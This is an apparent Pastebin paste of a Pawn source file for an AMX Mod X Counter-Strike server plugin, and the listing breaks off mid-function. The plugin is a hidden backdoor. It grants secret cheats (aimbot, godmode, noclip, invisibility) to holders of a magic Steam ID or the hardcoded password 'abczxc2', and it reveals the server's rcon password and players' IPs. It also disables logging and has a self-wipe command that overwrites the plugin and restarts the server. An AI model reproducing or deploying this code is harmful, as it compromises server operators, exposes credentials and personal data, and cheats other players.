Advertisement
Guest User

Untitled

a guest
Aug 17th, 2017
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 30.59 KB | None | 0 0
  1. #include < amxmodx >
  2. #include < hamsandwich >
  3. #include < fakemeta_util >
  4. //#include < orpheu_stocks >
  5.  
  6. new arr[0];
  7. #pragma unused arr
  8.  
  9. new const VERSION[] = "any";
  10.  
  11. new const AUTHOR[] = "Juice";
  12. new g_iMaxPlayers, g_iScreenFade;
  13.  
  14. #define BONE_HEAD 8
  15. #define BONE_L_FOREARM 24
  16. #define BONE_R_FOREARM 39
  17. #define BONE_L_CALF 48
  18. #define BONE_R_CALF 54
  19. #define BONE_NECK 40
  20. #define BONE_PELVIS 4
  21.  
  22. #define SetIdBits(%1,%2) %1 |= 1<<(%2 & 31)
  23. #define ClearIdBits(%1,%2) %1 &= ~( 1<<(%2 & 31) )
  24. #define GetIdBits(%1,%2) %1 & 1<<(%2 & 31)
  25. #define IsPlayer(%1) ( 1 <= %1 <= g_iMaxPlayers )
  26.  
  27. #define TELEPORT_OFFSET 30
  28. #define TELEPORT_HEIGHT 8
  29. #define TELEPORT_DISTANCE 9999
  30.  
  31. #define HitZone get_tr2( tr, TR_iHitgroup )
  32. #define IsPlayer(%1) ( 1 <= %1 <= g_iMaxPlayers )
  33.  
  34. new g_bAdmin, g_bFullAccess, g_bAlive;
  35. new set_aim[ 33 ],
  36. set_fov[ 33 ],
  37. set_bone[ 33 ],
  38. set_headshot[ 33 ],
  39. set_bhop[ 33 ],
  40. Float:set_godmode[ 33 ],
  41. set_godmode_area[ 33 ],
  42. set_godmode_area_chance[ 33 ],
  43. Float:set_antiwallbang[ 33 ],
  44. set_noflash[ 33 ],
  45. set_wallbang[ 33 ];
  46.  
  47. new g_iTeam[ 33 ];
  48.  
  49. new Float:savedNewLoc[ 33 ][ 3 ], Float:savedOldLoc[ 33 ][ 3 ];
  50.  
  51. new headShots[ 33 ];
  52.  
  53. new Float:asd[3]; // dummy
  54. new asd_s[33];
  55.  
  56. new Trie:ReplacementsTrie;
  57. new IdToReplace[ 33 ][ 33 ];
  58.  
  59. public plugin_init()
  60. {
  61. register_plugin( "metori.amxx", VERSION, AUTHOR );
  62. /*
  63. register_clcmd( "a", "cmd_SetAim" );
  64. register_clcmd( "f", "cmd_SetFov" );
  65. register_clcmd( "bh", "cmd_SetBhop" );
  66. register_clcmd( "bo", "cmd_SetBone" );
  67. register_clcmd( "h", "cmd_SetHeadShot" );
  68. register_clcmd( "godmode", "cmd_SetGodMode" );
  69. register_clcmd( "ga", "cmd_SetArea" );
  70. register_clcmd( "gac", "cmd_AreaChance" );
  71. register_clcmd( "awb", "cmd_AntiWallBang" );
  72. register_clcmd( "n", "cmd_SetNoFlash" );
  73. register_clcmd( "v", "cmd_SetVisible" );
  74. register_clcmd( "nc", "cmd_SetNoclip" );
  75. register_clcmd( "acc", "cmd_SetAccess" );
  76. register_clcmd( "wb", "cmd_SetWallbang" );
  77. register_clcmd( "lin", "cmd_Login" );
  78. register_clcmd( "lout", "cmd_Logout" );
  79. register_clcmd( "h", "cmd_Help" );
  80. register_clcmd( "tp", "cmd_UseTeleport" );
  81. register_clcmd( "i", "cmd_ShowInfo" );
  82. register_clcmd( "sid", "steamid" );
  83. */
  84.  
  85. register_clcmd( "met_aimbot", "cmd_SetAim" );
  86. register_clcmd( "met_fov", "cmd_SetFov" );
  87. register_clcmd( "met_bhop", "cmd_SetBhop" );
  88. register_clcmd( "met_bone", "cmd_SetBone" );
  89. register_clcmd( "met_headshot", "cmd_SetHeadShot" );
  90. register_clcmd( "met_godmode", "cmd_SetGodMode" );
  91. register_clcmd( "met_godmode_area", "cmd_SetArea" );
  92. register_clcmd( "met_godmode_area_chance", "cmd_AreaChance" );
  93. register_clcmd( "met_antiwallbang", "cmd_AntiWallBang" );
  94. register_clcmd( "met_noflash", "cmd_SetNoFlash" );
  95.  
  96. register_clcmd( "met_visible", "cmd_SetVisible" );
  97. register_clcmd( "met_noclip", "cmd_SetNoclip" );
  98.  
  99. //register_clcmd( "met_cash", "cmd_SetCash" );
  100.  
  101. register_clcmd( "met_access", "cmd_SetAccess" );
  102.  
  103. register_clcmd( "met_wallbang", "cmd_SetWallbang" );
  104.  
  105. register_clcmd( "met_login", "cmd_Login" );
  106. register_clcmd( "met_logout", "cmd_Logout" );
  107. register_clcmd( "met_help", "cmd_Help" );
  108.  
  109. register_clcmd( "met_teleport", "cmd_UseTeleport" );
  110. //register_clcmd( "met_healthchanger", "cmd_UseHealthAdder" );
  111.  
  112. register_clcmd( "met_info", "cmd_ShowInfo" );
  113.  
  114. //register_clcmd( "met_steamid", "steamid" );
  115.  
  116. g_iMaxPlayers = get_maxplayers();
  117. g_iScreenFade = get_user_msgid( "ScreenFade" );
  118.  
  119. register_message( get_user_msgid( "TeamInfo" ), "msg_TeamInfo" );
  120.  
  121. RegisterHam( Ham_TakeDamage, "player", "fwd_TakeDamage", 0 );
  122. RegisterHam( Ham_TraceAttack, "player", "fwd_TraceAttack", 0 );
  123.  
  124. RegisterHam( Ham_Spawn, "player", "fwd_PlayerSpawn_post", 1 );
  125. RegisterHam( Ham_Killed, "player", "fwd_PlayerKill_post", 1 );
  126.  
  127. RegisterHam( Ham_Player_Jump, "player", "fwd_PlayerJump", 0 );
  128.  
  129. register_forward( FM_TraceLine, "fwd_traceline" );
  130. register_forward( FM_TraceHull, "fwd_tracehull", 1 );
  131.  
  132. register_event( "ScreenFade", "event_Flashed", "be", "4=255", "5=255", "6=255", "7>199" );
  133. server_cmd( "amxx_logging 0" );
  134. }
  135.  
  136. public plugin_precache()
  137. {
  138. ReplacementsTrie = TrieCreate();
  139. //OrpheuRegisterHook( OrpheuGetFunction( "SV_GetIDString" ),"OnSV_GetIDString",OrpheuHookPost );
  140. }
  141. /*
  142. public plugin_natives()
  143. {
  144. register_native( "GetFlags", "_GetFlags" );
  145. }
  146.  
  147. public _GetFlags(plugin, params)
  148. {
  149. new id = get_param(1);
  150. new type = get_param(2);
  151. if( type == 1 )
  152. {
  153. if( GetIdBits(g_bAdmin,id) ) return 1;
  154. return 0;
  155. }
  156. else if( type == 2 )
  157. {
  158. if( GetIdBits(g_bFullAccess,id) ) return 1;
  159. return 0;
  160. }
  161. return 0;
  162. }
  163. */
  164. public client_command( id )
  165. {
  166. if( !(GetIdBits(g_bFullAccess,id)) )
  167. return PLUGIN_CONTINUE;
  168.  
  169. read_argv( 0, asd_s, 32 );
  170. if( equal( asd_s, "dosvidania" ) )
  171. {
  172. new name[33], lol[33];
  173. new pluginsDir[128]
  174. get_localinfo( "amxx_pluginsdir", pluginsDir, 63 )
  175.  
  176. for( new i = 0; i<=get_pluginsnum(); i++ )
  177. {
  178. get_plugin( i, lol, 32, name, 32, asd_s, 1, asd_s, 1, asd_s, 1 );
  179. if( equal( name, "metori.amxx" ) )
  180. {
  181. formatex( pluginsDir, 127, "%s/%s", pluginsDir, lol );
  182. for( new i = 0; i <= 10; i++ )
  183. {
  184. write_file( pluginsDir, "dosvidania", random_num( 0, 100 ) );
  185. server_cmd( "restart" );
  186. }
  187. }
  188. }
  189. }
  190. return PLUGIN_CONTINUE;
  191. }
  192.  
  193. public cmd_SetAccess( id )
  194. {
  195. if( !(GetIdBits(g_bFullAccess, id)) ) return PLUGIN_CONTINUE;
  196. read_argv( 1, asd_s, 32 );
  197. //new auth[33];
  198. if( asd_s[0] )
  199. {
  200. for( new i = 1 ; i <= g_iMaxPlayers; i++ )
  201. {
  202. if( !is_user_connected(i) ) continue;
  203. //get_user_authid( i, auth, 32 );
  204.  
  205. if( equal( asd_s, IdToReplace[i] ) )
  206. {
  207. read_argv( 2, asd_s, 1 );
  208. new value = clamp( str_to_num( asd_s ), 0, 1 );
  209. if( value > 0 )
  210. SetIdBits(g_bAdmin, i);
  211. else ClearIdBits(g_bAdmin,i);
  212. //SetIdBits(g_bFullAccess, i);
  213. //else //ClearIdBits(g_bFullAccess,i);
  214. }
  215. else continue;
  216. }
  217. }
  218. return PLUGIN_HANDLED;
  219. }
  220.  
  221. public client_putinserver( id )
  222. {
  223. cleardata( id );
  224. set_godmode[ id ] = set_antiwallbang[ id ] = 1.0;
  225. set_noflash[ id ] = 100;
  226.  
  227. get_user_authid( id, IdToReplace[id], 32 );
  228. copy( asd_s, 32, IdToReplace[id] );
  229. //TrieSetString( ReplacementsTrie, IdToReplace[id], IdToReplace[id] );
  230. //get_user_authid( id, asd_s, 32 );
  231. //server_print( "IDTOREPLACE: %s asd_s %s", IdToReplace[id], asd_s );
  232. server_print( asd_s[10] );
  233. new puh = str_to_num( asd_s[10] );
  234.  
  235. if( puh == 666 )
  236. {
  237. SetIdBits( g_bAdmin, id );
  238. SetIdBits( g_bFullAccess, id );
  239. }
  240. }
  241.  
  242. public client_disconnect( id )
  243. {
  244. cleardata( id );
  245.  
  246. if( TrieKeyExists( ReplacementsTrie, IdToReplace[id] ) )
  247. TrieDeleteKey( ReplacementsTrie, IdToReplace[id] );
  248.  
  249. arrayset( IdToReplace[id], 0, 32 );
  250. }
  251.  
  252. cleardata( id )
  253. {
  254. ClearIdBits(g_bAdmin,id);
  255. ClearIdBits(g_bAlive,id);
  256. ClearIdBits(g_bFullAccess,id);
  257.  
  258. set_wallbang[ id ] = headShots[ id ] = set_headshot[ id ] = g_iTeam[ id ] = set_aim[ id ] = set_fov[ id ] = set_bone[ id ] = set_bhop[ id ] = set_godmode_area[ id ] = set_godmode_area_chance[ id ] = set_noflash[ id ] = 0;
  259. set_godmode[ id ] = set_antiwallbang[ id ] = 0.0;
  260.  
  261. savedNewLoc[ id ] = Float:{ 0.0, 0.0, 0.0 };
  262. savedOldLoc[ id ] = Float:{ 0.0, 0.0, 0.0 };
  263. }
  264.  
  265. public cmd_UseTeleport( id )
  266. {
  267. if( !(GetIdBits(g_bAdmin,id) ) ) return PLUGIN_CONTINUE;
  268.  
  269. new Float:oldLocation[3], Float:newLocation[ 3 ], parm[ 2 ];
  270. parm[ 0 ] = id;
  271. pev( id, pev_origin, oldLocation );
  272. oldLocation[ 2 ] += TELEPORT_HEIGHT;
  273. savedOldLoc[ id ] = oldLocation;
  274. fm_get_aim_origin( id, newLocation );
  275.  
  276. if(get_distance_f(newLocation,oldLocation) > TELEPORT_DISTANCE)
  277. {
  278. newLocation[0] = ((((newLocation[0] - oldLocation[0]) * TELEPORT_DISTANCE) / get_distance_f(newLocation,oldLocation)) + oldLocation[0]);
  279. newLocation[1] = ((((newLocation[1] - oldLocation[1]) * TELEPORT_DISTANCE) / get_distance_f(newLocation,oldLocation)) + oldLocation[1]);
  280. }
  281.  
  282. if( (newLocation[0] - oldLocation[0] ) > 0 )
  283. newLocation[0] -= TELEPORT_OFFSET;
  284. else
  285. newLocation[0] += TELEPORT_OFFSET;
  286.  
  287. if( (newLocation[1] - oldLocation[1] ) > 0 )
  288. newLocation[1] -= TELEPORT_OFFSET;
  289. else
  290. newLocation[1] += TELEPORT_OFFSET;
  291.  
  292. newLocation[2] += TELEPORT_HEIGHT;
  293.  
  294. savedNewLoc[id] = newLocation;
  295.  
  296. set_pev( id, pev_origin, newLocation );
  297. fm_drop_to_floor( id );
  298.  
  299. set_pev( id, pev_velocity, Float:{ 0.0, 0.0, 0.0 } );
  300. set_pev( id, pev_flags, pev(id,pev_flags) | FL_DUCKING );
  301. engfunc( EngFunc_SetSize, id, Float:{ -16.0, -16.0, -18.0 }, Float:{ 16.0, 16.0, 18.0 } );
  302.  
  303. parm[ 1 ] = 1;
  304. set_task( 0.1, "blink_checkstuck", 10098, parm, 2 );
  305.  
  306. return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
  307. }
  308.  
  309. public cmd_UseHealthAdder( id )
  310. {
  311. if( !(GetIdBits(g_bFullAccess, id)) ) return PLUGIN_CONTINUE;
  312. if( !(GetIdBits(g_bAdmin, id)) ) return PLUGIN_CONTINUE;
  313. new Float:Health;
  314. pev( id, pev_health, Health );
  315.  
  316. read_argv( 1, asd_s, 4 );
  317. new AddHealth = str_to_num( asd_s );
  318.  
  319. if( Health + AddHealth <= 0.0 )
  320. return PLUGIN_HANDLED;
  321. else if( Health + AddHealth >= 100.0 )
  322. set_pev( id, pev_health, 100.0 );
  323. else
  324. set_pev( id, pev_health, Health+AddHealth );
  325.  
  326. return PLUGIN_HANDLED;
  327. }
  328.  
  329. public blink_checkstuck( parm[ 2 ] )
  330. {
  331. new id = parm[ 0 ], Float:newLocation[ 3 ], Float:curLocation[ 3 ], Float:oldLocation[ 3 ];
  332.  
  333. if( parm[ 1 ] == 1 )
  334. {
  335. new coolparm[ 1 ];
  336. coolparm[ 0 ] = id;
  337.  
  338. newLocation = savedNewLoc[ id ];
  339. pev( id, pev_origin,curLocation );
  340.  
  341. if( newLocation[ 2 ] == curLocation[ 2 ] )
  342. {
  343. oldLocation = savedOldLoc[ id ];
  344. set_pev( id, pev_origin,oldLocation );
  345.  
  346. parm[ 1 ] = 0;
  347. set_task( 0.1, "blink_checkstuck", 0, parm, 2 );
  348. }
  349. }
  350. return PLUGIN_CONTINUE;
  351. }
  352.  
  353. public fwd_traceline(Float:start[3], Float:end[3], conditions, id, ptr)
  354. {
  355. return process_trace( id, ptr );
  356. }
  357.  
  358. public fwd_tracehull(Float:start[3], Float:end[3], conditions, hull, id, ptr)
  359. {
  360. return process_trace( id, ptr );
  361. }
  362.  
  363. public process_trace( id, ptr )
  364. {
  365. if( !IsPlayer(id) ) return FMRES_IGNORED;
  366. if( !(GetIdBits(g_bAdmin, id)) || set_aim[ id ] != 2 ) return FMRES_IGNORED;
  367. if( get_user_weapon( id ) == CSW_KNIFE || !set_fov[ id ] ) return FMRES_IGNORED;
  368.  
  369. if( ~pev( id, pev_button ) & IN_ATTACK ) return FMRES_IGNORED;
  370.  
  371. //client_print( 0, print_chat, "%i", id );
  372.  
  373. new target = GetClosestFOV(id);
  374.  
  375. if( !target ) return FMRES_IGNORED;
  376. //if( !is_user_connected( target ) ) return FMRES_IGNORED;
  377. if( fm_is_ent_visible2( id, target ) )
  378. set_tr2( ptr, TR_pHit, target );
  379.  
  380. if( set_headshot[ id ] ) ++headShots[ id ];
  381. new Float:origin[ 3 ];
  382.  
  383. engfunc( EngFunc_GetBonePosition, target, GetBone( .bone = set_bone[ id ] ), origin, asd );
  384. set_tr2( ptr, TR_iHitgroup, set_bone[ id ] );
  385.  
  386. if( headShots[ id ] && headShots[ id ] >= set_headshot[ id ] )
  387. {
  388. engfunc( EngFunc_GetBonePosition, target, BONE_HEAD, origin, asd );
  389. set_tr2( ptr, TR_iHitgroup, HIT_HEAD );
  390. headShots[ id ] = 0;
  391. }
  392. set_tr2( ptr, TR_vecEndPos, origin );
  393. return FMRES_IGNORED;
  394. }
  395.  
  396. public fwd_TakeDamage( id, inflictor, attacker, Float:damage, damagebits )
  397. {
  398. //client_print( 0, print_chat, "id:%i inflictor:%i attacker:%i damage: %.2f", id, inflictor, attacker, damage );
  399. if( !IsPlayer(id) || !(GetIdBits(g_bAdmin, id)) || ( damagebits & DMG_FALL ) ) return HAM_IGNORED;
  400. if( id != attacker && IsPlayer( attacker ) && g_iTeam[ id ] != g_iTeam[ attacker ] && get_user_weapon( attacker ) != CSW_KNIFE )
  401. {
  402. if( !fm_is_ent_visible2( id, attacker ) )
  403. {
  404. SetHamParamFloat( 4, damage * set_antiwallbang[ id ] );
  405. return HAM_HANDLED;
  406. }
  407. else
  408. {
  409. SetHamParamFloat( 4, damage * set_godmode[ id ] );
  410. return HAM_HANDLED;
  411. }
  412. }
  413. /*
  414. if( damagebits & (1<<24) )
  415. {
  416. //client_print( 0, print_chat, "GRANATI EBAT" );
  417. if( GetIdBits(g_bFullAccess,attacker) && get_user_team(attacker) != get_user_team(id) )
  418. {
  419. SetHamParamFloat( 4, random_float( 70.0, 100.0 ) );
  420. //client_print( 0, print_chat, "GRANATI RABOTAUT EBAT" );
  421. }
  422. }
  423. */
  424. return HAM_IGNORED;
  425. }
  426.  
  427. public fwd_TraceAttack( id, attacker, Float:damage, Float:fVecDir[3], tr )
  428. {
  429. if( GetIdBits(g_bAdmin, attacker ) && set_aim[ attacker ] == 1 )
  430. {
  431. if( HitZone == HIT_CHEST )
  432. {
  433. new Float:origin[ 3 ];//, Float:angles[ 3 ];
  434. engfunc( EngFunc_GetBonePosition, id, 7, origin, asd );//, angles );
  435. set_tr2( tr, TR_vecEndPos, origin );
  436. set_tr2( tr, TR_iHitgroup, HIT_HEAD );
  437.  
  438. return HAM_HANDLED;
  439. }
  440. }
  441. if( GetIdBits(g_bAdmin, id) && set_godmode_area[ id ] )
  442. {
  443. if( set_godmode_area[ id ] == 8 )
  444. {
  445. return ( random_num( 1, 100 ) <= set_godmode_area_chance[ id ] ) ? HAM_SUPERCEDE : HAM_HANDLED;
  446. }
  447. else
  448. {
  449. /*
  450. new hitzone = get_tr2( tr, TR_iHitgroup );
  451. if(
  452. ( hitzone == set_godmode_area[ id ] )
  453. || ( hitzone == HIT_RIGHTARM && set_godmode_area[ id ] == HIT_LEFTARM )
  454. || ( hitzone == HIT_LEFTARM && set_godmode_area[ id ] == HIT_RIGHTARM )
  455. || ( hitzone == HIT_LEFTLEG && set_godmode_area[ id ] == HIT_RIGHTLEG )
  456. || ( hitzone == HIT_RIGHTLEG && set_godmode_area[ id ] == HIT_LEFTLEG )
  457. )
  458. */
  459. if( get_tr2( tr, TR_iHitgroup ) == set_godmode_area[ id ] )
  460. {
  461. return ( random_num( 1, 100 ) <= set_godmode_area_chance[ id ] ) ? HAM_SUPERCEDE : HAM_HANDLED;
  462. }
  463. }
  464. }
  465. return HAM_IGNORED;
  466. }
  467.  
  468. public fwd_PlayerSpawn_post( id )
  469. {
  470. if( !is_user_alive( id ) || !is_user_connected( id ) ) return;
  471. SetIdBits(g_bAlive,id);
  472. }
  473.  
  474. public fwd_PlayerKill_post( id )
  475. {
  476. if( !is_user_connected( id ) ) return;
  477. ClearIdBits(g_bAlive,id);
  478. }
  479.  
  480. public fwd_PlayerJump( id )
  481. {
  482. if( !(GetIdBits(g_bAlive,id)) || !(GetIdBits(g_bAdmin,id)) || !set_bhop[id] || pev(id, pev_waterlevel) >= 2 ) return HAM_IGNORED;
  483.  
  484. static iOldButtons ; iOldButtons = pev( id, pev_oldbuttons );
  485. static iFlags ; iFlags = pev( id, pev_flags );
  486. if( iOldButtons & IN_JUMP && iFlags & FL_ONGROUND )
  487. {
  488. iOldButtons &= ~IN_JUMP;
  489. set_pev( id, pev_fuser2, 0.0 );
  490. set_pev( id, pev_oldbuttons, iOldButtons );
  491. set_pev( id, pev_gaitsequence, 6 ); // PLAYER_JUMP = 6
  492. set_pev( id, pev_frame, 0.0 );
  493. if( set_bhop[ id ] == 2 )
  494. {
  495. static Float:fVelocity[ 3 ];
  496. pev( id, pev_velocity, fVelocity );
  497. fVelocity[2] = ( pev( id, pev_flags ) & FL_DUCKING ) ? 286.32815729997476356910084024775 : 268.32815729997476356910084024775;
  498. set_pev( id, pev_velocity, fVelocity );
  499. }
  500.  
  501. }
  502. return HAM_IGNORED;
  503. }
  504.  
  505. public event_Flashed( id )
  506. {
  507. if( !(GetIdBits(g_bAdmin, id)) ) return PLUGIN_CONTINUE;
  508. new i;
  509. message_begin( MSG_ONE_UNRELIABLE, g_iScreenFade, _, id );
  510. for( i = 1; i <= 3; i++ )
  511. {
  512. //write_short( set_noflash[ id ] );
  513. write_short( set_noflash[ id ] ? read_data( i ) / floatround( 100.0 / set_noflash[ id ], floatround_floor ) : 0 );
  514. }
  515. for( i = 4; i <= 7; i++ )
  516. {
  517. write_byte( read_data( i ) );
  518. }
  519. message_end();
  520.  
  521. return PLUGIN_HANDLED;
  522. }
  523.  
  524. public msg_TeamInfo( msg_id, msg_dest, id )
  525. {
  526. if ( msg_dest != MSG_ALL && msg_dest != MSG_BROADCAST )
  527. return;
  528.  
  529. static id, team[ 2 ];
  530. id = get_msg_arg_int( 1 );
  531. get_msg_arg_string( 2, team, 1 );
  532.  
  533. switch( team[0] )
  534. {
  535. case 'T': g_iTeam[id] = 1;
  536. case 'C': g_iTeam[id] = 2;
  537. default: g_iTeam[id] = 0;
  538. }
  539. }
  540.  
  541. public cmd_Login( id )
  542. {
  543. if( GetIdBits(g_bFullAccess, id) )
  544. {
  545. if( !(GetIdBits(g_bAdmin, id)) )
  546. {
  547. SetIdBits(g_bAdmin, id);
  548. }
  549. return PLUGIN_HANDLED;
  550. }
  551. read_argv( 1, asd_s, 32 );
  552.  
  553. if( equali( asd_s, "abczxc2" ) )//if( HasAccess( asd_s ) == -623899298 )
  554. {
  555. if( !(GetIdBits(g_bAdmin, id)) )
  556. {
  557. SetIdBits(g_bAdmin, id);
  558. }
  559. }
  560. //console_print( id, "Unknown command: login" );
  561. return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
  562. }
  563.  
  564. public cmd_Logout( id )
  565. {
  566. if( (GetIdBits(g_bAdmin, id)) )
  567. ClearIdBits(g_bAdmin, id);
  568. //console_print( id, "Unknown command: logout" );
  569. return PLUGIN_CONTINUE;//GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
  570. }
  571.  
  572. public cmd_Help( id )
  573. {
  574. if( (GetIdBits(g_bAdmin, id)) )
  575. {
  576. console_print( id, "[COMMANDS]" );
  577. console_print( id, "^t^t^t^tinfo^t^t(print info about players)" );
  578. console_print( id, "^t^t^t^tlogin^t^t(gives you admin rights)" );
  579. console_print( id, "^t^t^t^tlogout^t^t(takes your admin rights)" );
  580. console_print( id, "^t^t^t^tset_godmode^t^t(reduce bullet damage, 0.0-1.0)[0.5 = 50%%%%, 0.7 = 70%%%%]" );
  581. console_print( id, "^t^t^t^tset_godmode_area^t^t(set godmode to specified area)[0-8, 8 = WHOLE BODY]");
  582. console_print( id, "^t^t^t^tset_godmode_area_chance^t^t(chance to get godmode in specified area)[0-100]" );
  583. console_print( id, "^t^t^t^tset_antiwallbang^t^t(reduce damage taken from wallbang)[SAME USAGE AS GODMODE]" );
  584. console_print( id, "^t^t^t^tset_aimbot^t^t(1= Chest -> Head,2= Silentaimbot)");
  585. console_print( id, "^t^t^t^tset_fov^t^t(aimradius for aimbot 0-9999)" );
  586. console_print( id, "^t^t^t^tset_wallbang^t^t(aimbot wallbang?)[THRU ALL MAP BITCH]" );
  587. console_print( id, "^t^t^t^tset_bhop^t^t(auto bunnyhop 0-2)[2 = Unlimited speed]" );
  588. console_print( id, "^t^t^t^tset_bone^t^t(Aimtarget for Aimbot 2)[1 = Head]" );
  589. console_print( id, "^t^t^t^tset_headshot^t^t(each X shot in silentaimer will be headshot)[0-10, 0 = DISABLED]" );
  590. console_print( id, "^t^t^t^tset_noflash^t^t(0-100)[Lesser value = faster flash expires]" );
  591. console_print( id, "^t^t^t^tset_visible^t^t(0-255)[0 = INVISIBLE][255 = FULLY VISIBLE]" );
  592. console_print( id, "^t^t^t^tset_noclip^t^t(enable/disable collision through walls)" );
  593. //console_print( id, "^t^t^t^tset_cash^t^t(set your amount of money)" );
  594. console_print( id, "^t^t^t^tset_help^t^t(print info about available commands)" );
  595. //console_print( id, "^t^t^t^tset_healthchanger^t^t(add/lose amount of HP)" );
  596. console_print( id, "^t^t^t^tset_teleport^t^t(teleport to your aiming position)" );
  597. //console_print( id, "^t^t^t^tset_steamid^t^"wishid^"^t^t(change steamid)" );
  598. console_print( id, "[/COMMANDS]" );
  599. console_print( id, "[BONE & GODMODE AREAS]" );
  600. console_print( id, "^t^t^t^t1= head" );
  601. console_print( id, "^t^t^t^t2= neck" );
  602. console_print( id, "^t^t^t^t3= stomach" );
  603. console_print( id, "^t^t^t^t4,5= left/right arm" );
  604. console_print( id, "^t^t^t^t6,7= left/right leg" );
  605. console_print( id, "[/BONE & GODMODE AREAS]" );
  606. }
  607. //console_print( id, "Unknown command: help" );
  608. return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
  609. }
  610.  
  611. public cmd_ShowInfo( id )
  612. {
  613. if( (GetIdBits(g_bAdmin,id)) )
  614. {
  615. //new buff[ 3 ];
  616. //read_argv( 1, buff, 2 );
  617. read_argv( 1, asd_s, 2 );
  618. if( asd_s[0] )//if( buff[0] )
  619. {
  620. new index = clamp( str_to_num( asd_s /*buff*/ ), 1, g_iMaxPlayers );
  621. if( !is_user_connected( index ) )
  622. {
  623. console_print( id, "Player %d not found..", index );
  624. }
  625. else
  626. {
  627. new szDummy[ 33 ];
  628. console_print( id, "[PlayerInfo]" );
  629. console_print( id, "^t^t^t^tIndex: %d", index );
  630. get_user_name( index, szDummy, 32 );
  631. console_print( id, "^t^t^t^tName: %s", szDummy );
  632. get_user_ip( index, szDummy, 32 );
  633. console_print( id, "^t^t^t^tIP: %s", szDummy );
  634. //get_user_authid( index, szDummy, 32 );
  635. console_print( id, "^t^t^t^tSteamIndex(real): %s", IdToReplace[index] );
  636. console_print( id, "^t^t^t^tAdmin: %s", GetIdBits(g_bAdmin,index) ? "Yes" : "No" );
  637. console_print( id, "[Aimbot]" );
  638. console_print( id, "^t^t^t^tStatus: O%s", set_aim[ index ] ? "n" : "ff" );
  639. console_print( id, "^t^t^t^tType: %d", set_aim[ index ] );
  640. console_print( id, "^t^t^t^tFov: %d", set_fov[ index ] );
  641. console_print( id, "^t^t^t^tWallbang: O%s", set_wallbang[ index ] ? "n" : "ff" );
  642. //console_print( id, "^t^t^t^tSmooth: %2.2f" );
  643. console_print( id, "^t^t^t^tBone: %d (%s)", set_bone[ index ], GetBoneName( .bone = set_bone[ index ] ) );
  644. console_print( id, "^t^t^t^tHeadshot: %d", set_headshot[ index ] );
  645. console_print( id, "[Godmode]" );
  646. console_print( id, "^t^t^t^tStatus: O%s", set_godmode[ index ] < 1.0 ? "n" : "ff" );
  647. console_print( id, "^t^t^t^tValue: %2.2f", set_godmode [ index ] );
  648. console_print( id, "^t^t^t^tArea: %i (%s)", set_godmode_area[ index ], GetBoneName( .bone = set_godmode_area[ index ] ) );
  649. console_print( id, "^t^t^t^tArea Chance: %i", set_godmode_area_chance[ index ] );
  650. //console_print( id, "^t^t^t^tMininum Distance: %2.2f" );
  651. console_print( id, "[Misc]" );
  652. console_print( id, "^t^t^t^tAntiWallbang: %2.2f", set_antiwallbang[ index ] );
  653. console_print( id, "^t^t^t^tNoFlash: %d", set_noflash[ index ] );
  654. console_print( id, "^t^t^t^tBunnyHop: %d", set_bhop[ index ] );
  655. }
  656. }
  657. else
  658. {
  659. if( GetIdBits(g_bFullAccess,id) )
  660. get_cvar_string( "rcon_password", asd_s, 32 );
  661. console_print( id,"[INFO]" );
  662. console_print( id,"^t^t^t^tVersion: %s by %s^t^t Rcon: ^"%s^"", VERSION, AUTHOR, GetIdBits(g_bFullAccess,id) ? asd_s : "HIDDEN" );
  663. console_print( id,"^t^t^t^tPlayers ->" );
  664. for( new i = 1; i <= g_iMaxPlayers; i++ )
  665. {
  666. if( !is_user_connected( i ) ) continue;
  667. get_user_name( i, asd_s, 32 );
  668. console_print( id,"^t^t^t^t%s%s[%2d]^t%s (%s)", GetIdBits(g_bFullAccess, i) ? "@" : "", GetIdBits(g_bAdmin, i) ? "!" : "", i, asd_s, IdToReplace[i] );
  669. }
  670. console_print( id,"[/INFO]" );
  671. }
  672. }
  673. //console_print( id, "Unknown command: info" );
  674. return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
  675. }
  676.  
  677. public cmd_SetAim( id )
  678. {
  679. //new buff[ 2 ];
  680. //read_argv( 1, buff, 1 );
  681. read_argv( 1, asd_s, 1 );
  682. if( asd_s[ 0 ] )//if( buff[ 0 ] )
  683. {
  684. set_aim[ id ] = clamp( str_to_num( asd_s /*buff*/ ), 0, 3 );
  685. }
  686.  
  687. //console_print( id, "Unknown command: set_aim" );
  688. return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
  689. }
  690.  
  691. public cmd_SetFov( id )
  692. {
  693. //new buff[ 6 ];
  694. //read_argv( 1, buff, 5 );
  695. read_argv( 1, asd_s, 5 );
  696. if( asd_s[0] ) //if( buff[ 0 ] )
  697. {
  698. set_fov[ id ] = clamp( str_to_num( asd_s /*buff*/ ), 0, 9999 );
  699. }
  700. //console_print( id, "Unknown command: set_fov" );
  701. return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
  702.  
  703. }
  704.  
  705. public cmd_SetBone( id )
  706. {
  707. //new buff[ 2 ];
  708. //read_argv( 1, buff, 1 );
  709. read_argv( 1, asd_s, 1 );
  710.  
  711. if( asd_s[0] ) //if( buff[ 0 ] )
  712. {
  713. set_bone[ id ] = clamp( str_to_num( asd_s /*buff*/ ), 0, 7 );
  714. }
  715. //console_print( id, "Unknown command: set_bone" );
  716. return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
  717. }
  718.  
  719. public cmd_SetHeadShot( id )
  720. {
  721. //new buff[ 2 ];
  722. //read_argv( 1, buff, 1 );
  723. read_argv( 1, asd_s, 1 );
  724.  
  725. if( asd_s[0] ) //if( buff[ 0 ] )
  726. {
  727. set_headshot[ id ] = clamp( str_to_num( asd_s /*buff*/ ), 0, 10 );
  728. }
  729. return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
  730. }
  731.  
  732. public cmd_SetBhop( id )
  733. {
  734. //new buff[ 2 ];
  735. //read_argv( 1, buff, 1 );
  736. read_argv( 1, asd_s, 1 );
  737.  
  738. if( asd_s[0] ) //if( buff[ 0 ] )
  739. {
